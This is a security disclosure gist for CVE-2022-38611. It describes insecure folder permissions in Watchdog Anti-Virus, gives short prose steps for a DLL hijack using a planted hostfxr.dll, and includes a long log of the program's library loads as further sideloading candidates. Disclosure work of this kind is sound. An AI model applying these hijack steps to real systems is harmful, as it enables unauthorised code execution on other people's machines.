dru1d-foofus / **File_ACLs.txt**

Last active last month

CVE-2022-38611 - WatchDog Anti-Virus Research

README.md

CVE-2022-38611 - Watchdog Anti-Virus v1.4.158 Vulnerabilities

CVE - https://nvd.nist.gov/vuln/detail/CVE-2022-38611

Watchdog Anti-Virus v1.4.158 has insecure ACLs applied to its core components; this includes:

- The C:\Program Files (x86)\Watchdog Anti-Virus\ directory allows BUILTIN\Users the ability to modify the directory's and inherited objects's ACLs.
- BUILTIN\Users are given full control of the WAV.exe binary itself and associated libraries.

These permissions issues could allow any user to execute code through DLL hijacking.

Steps to Reproduce DLL Hijack

1. Identify a target for hijack. I've chose hostfxr.dll as it currently does not exist in my C:\Program Files (x86)\Watchdog Anti-Virus\ directory.
2. Create malicious DLL with exported function. hostfxr.dll's hostfxr_main_startupinfo or DLLMain exports worked during testing.
3. Copy malicious hostfxr.dll to the C:\Program Files (x86)\Watchdog Anti-Virus\ directory.

4. Launch Watchdog Anti-Virus.

It should be noted that Watchdog Anti-Virus runs in the context of the current user and does not appear to elevate itself; therefore, there is only code execution and no privilege escalation.

Additional items included:

- dll_results.csv; which contain other sideloading/hijacking candidates.
- File_ACLs.txt; which contain a recursive listing of ACLs applied to files within the Watchdog Anti-Virus program directory.

dll_results.csv

We can make this file beautiful and searchable if this error is corrected: It looks like row 2 should actually have columns, instead of 3. in line 1.

```
1   Executable,WinAPI,DLL,EntryPoint / WinAPI Args
2   unins000.exe,LoadLibraryW,LPCWSTR: Msctf.dll
3   unins000.exe,LoadLibraryA,LPCSTR: wtsapi32.dll
4   unins000.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\wtsapi32.dll, LPCSTR: WTSRegisterSession
5   unins000.exe,LoadLibraryA,LPCSTR: uxtheme.dll
6   unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: BufferedPaintInit
7   unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: OpenThemeData
8   unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: CloseThemeData
9   unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeBackground
10  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeText
11  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeBackgroundC
12  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeBackgroundC
13  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemePartSize
14  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeTextExtent
15  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeTextMetrics
16  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeBackgroundR
17  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: HitTestThemeBackgro
18  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeEdge
19  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeIcon
20  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsThemePartDefined
21  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsThemeBackgroundPa
22  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeColor
23  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeMetric
24  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeString
25  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeBool
26  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeInt
27  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeEnumValue
28  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemePosition
29  unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeFont
```

```
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeRect
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeMargins
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeIntList
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemePropertyOri
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: SetWindowTheme
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeFilename
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysColor
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysColorBru
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysBool
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysSize
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysFont
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysString
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeSysInt
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsThemeActive
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsAppThemed
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetWindowTheme
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: EnableThemeDialogTe
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: IsThemeDialogTextur
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeAppProperti
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: SetThemeAppProperti
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetCurrentThemeName
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: GetThemeDocumentati
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: DrawThemeParentBack
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: EnableTheming
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\wtsapi32.dll, LPCSTR: WTSUnRegisterSessi
unins000.exe,GetProcAddress,hModule : C:\WINDOWS\system32\uxtheme.dll, LPCSTR: BufferedPaintUnInit
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, dwFlags : LO
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, LPCSTR: host
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, LPCSTR: host
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostp
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corec
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrji
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrji
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrji
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Diag.dll, dwFlags
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
```

```
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
Diag.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Syste
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, dwFlags : LOA
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, LPCSTR: hostf
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\host\fxr\6.0.7\hostfxr.dll, LPCSTR: hostf
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostpo
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostpo
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostpo
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostpo
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostpo
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostpo
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\hostpo
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corecl
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corecl
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corecl
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corecl
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\corecl
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrjit
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrjit
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\clrjit
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.dll, dwFlags : LOA
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Domain.dll, dwFlag
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Shared.dll, dwFlag
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\Newtonsoft.Json.dll, d
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\netsta
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
```

```
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\BCrypt
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\log4net.dll, dwFlags :
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\System.Configuration.C
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD_WITH_ALTE
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD_WITH_ALTE
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD_WITH_ALTE
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD_WITH_ALTE
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\System.Threading.Acces
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.Sciter.dll, dwFlag
WAV.exe,LoadLibraryA,LPCSTR: powrprof.dll
WAV.exe,LoadLibraryExA,LPCSTR: powrprof.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : powrprof.dll, dwFlags : NONE
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\powrprof.dll, LPCSTR: PowerRegisterSuspendRes
```

```
WAV.exe,LoadLibraryA,LPCSTR: ws2_32.dll
WAV.exe,LoadLibraryExA,LPCSTR: ws2_32.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : ws2_32.dll, dwFlags : NONE
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: GetHostNameW
WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD_WITH_ALTE
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.SDK.dll, dwFlags :
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\wsdk-a
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, dw
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP
WAV.exe,LoadLibraryExA,LPCSTR: winhttp.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : winhttp.dll, dwFlags : NONE
WAV.exe,LoadLibraryA,LPCSTR: libclamav.dll
WAV.exe,LoadLibraryExA,LPCSTR: libclamav.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : libclamav.dll, dwFlags : NONE
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamav.dll
WAV.exe,LoadLibraryA,LPCSTR: libclamunrar_iface.dll.9.0.4
WAV.exe,LoadLibraryExA,LPCSTR: libclamunrar_iface.dll.9.0.4, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : libclamunrar_iface.dll.9.0.4, dwFlags : NONE
WAV.exe,LoadLibraryA,LPCSTR: libclamunrar_iface.dll.9
WAV.exe,LoadLibraryExA,LPCSTR: libclamunrar_iface.dll.9, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : libclamunrar_iface.dll.9, dwFlags : NONE
WAV.exe,LoadLibraryA,LPCSTR: libclamunrar_iface.dll
WAV.exe,LoadLibraryExA,LPCSTR: libclamunrar_iface.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : libclamunrar_iface.dll, dwFlags : NONE
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar_
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar_
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar_
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar_
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamunrar_
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamav.dll
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libclamav.dll
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\secur3
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Netapi
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files (x86)\Watchdog Anti-Virus\Netapi32.dll, dwFlags
WAV.exe,LoadLibraryExW,LPCWSTR : Netapi32.dll, dwFlags : NONE
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\Netapi32.dll, LPCSTR: NetGetJoinInformationW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\Netapi32.dll, LPCSTR: NetGetJoinInformation
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
```

```
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\winhtt
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpGetIEProxyConfigF
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpGetIEProxyConfigF
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpOpenW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpOpen
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpGetProxyForUrlW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\WINHTTP.dll, LPCSTR: WinHttpGetProxyForUrl
WAV.exe,LoadLibraryExW,LPCWSTR : dxgi.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : d3d11.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : sspicli.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : mscms.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
